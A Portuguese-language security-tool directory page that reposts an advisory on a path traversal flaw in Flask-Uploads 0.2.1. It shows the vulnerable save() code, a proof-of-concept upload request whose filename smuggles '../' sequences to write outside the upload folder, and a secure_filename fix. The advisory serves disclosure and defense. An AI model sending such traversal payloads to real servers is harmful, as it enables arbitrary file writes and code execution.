Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-Pending-Flask-Uploads-Path-Traversal-PoC — Demonstração de Path Traversal CWE-22 no Flask-Uploads 0.2.1. Apenas para fins educacionais e de pesquisa em segurança. Testado no Python 3.11. | Kitploit
Ferramentas/GitHubGitHub/nicetop1027/cve-2026-pending-flask-uploads-path-traversal-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubnicetop1027/cve-2026-pending-flask-uploads-path-traversal-poc

CVE-2026-Pending-Flask-Uploads-Path-Traversal-PoC

Demonstração de Path Traversal CWE-22 no Flask-Uploads 0.2.1. Apenas para fins educacionais e de pesquisa em segurança. Testado no Python 3.11.

Ver Repositório
1há 7 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-XXXXX (Pendente): Path Traversal no Flask-Uploads

Informações da Vulnerabilidade

  • Produto: Flask-Uploads
  • Versão: 0.2.1 (e potencialmente versões anteriores)
  • Tipo de Vulnerabilidade: Path Traversal (Traversal de Diretórios)
  • CWE-ID: CWE-22
  • Severidade: Alta (CVSS 7.5)
  • Impacto: Gravação Arbitrária de Arquivos, Execução Remota de Código (RCE)

Descrição

Existe uma vulnerabilidade crítica de path traversal no Flask-Uploads versão 0.2.1. A biblioteca não sanitiza corretamente os nomes de arquivos enviados antes de salvá-los no sistema de arquivos.

Especificamente, o método save() em flask_uploads.py concatena diretamente o caminho de destino do upload com o nome de arquivo fornecido pelo usuário usando os.path.join(). Isso permite que um atacante inclua sequências de traversal de diretório (por exemplo, ) no nome do arquivo, possibilitando a gravação de arquivos em locais arbitrários no sistema de arquivos do servidor.

../../

Análise da Causa Raiz

Arquivo: flask_uploads.py (Linha 132 na v0.2.1)

root@kitploit:~
def save(self, storage, filename=None):
    if filename is None:
        filename = storage.filename
    # VULNERABLE CODE: No sanitization of 'filename'
    target = os.path.join(self.destination, filename)
    storage.save(target)
    return filename

A aplicação depende do desenvolvedor para sanitizar o nome do arquivo, mas a documentação da biblioteca sugere que ela lida com uploads de arquivos de forma segura. Por padrão, se um desenvolvedor passar um nome de arquivo bruto de uma requisição, isso leva a uma vulnerabilidade.

Impacto

  1. Sobrescrita Arbitrária de Arquivos: Atacantes podem sobrescrever arquivos críticos do sistema (por exemplo, ssh_host_key, arquivos de configuração).
  2. Execução Remota de Código (RCE): Ao enviar um script malicioso (por exemplo, .php, .py) para um diretório que é executado pelo servidor web (como cgi-bin ou uma pasta estática conhecida), um atacante pode executar comandos arbitrários no servidor.

Prova de Conceito (PoC)

Um atacante pode explorar esta vulnerabilidade enviando uma requisição POST com um nome de arquivo especialmente elaborado:

root@kitploit:~
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../../../tmp/pwned.txt"
Content-Type: text/plain

HACKED
------WebKitFormBoundary--

Se o servidor usar Flask-Uploads para salvar este arquivo, ele será gravado em /tmp/pwned.txt em vez do diretório de upload pretendido.

Mitigação / Correção

A biblioteca deve verificar se o caminho resultante está dentro do diretório pretendido usando os.path.abspath e startswith, ou sempre usar uma função de sanitização como werkzeug.utils.secure_filename.

Correção Recomendada:

root@kitploit:~
from werkzeug.utils import secure_filename

# ...
filename = secure_filename(filename) 
target = os.path.join(self.destination, filename)
Baixar ferramenta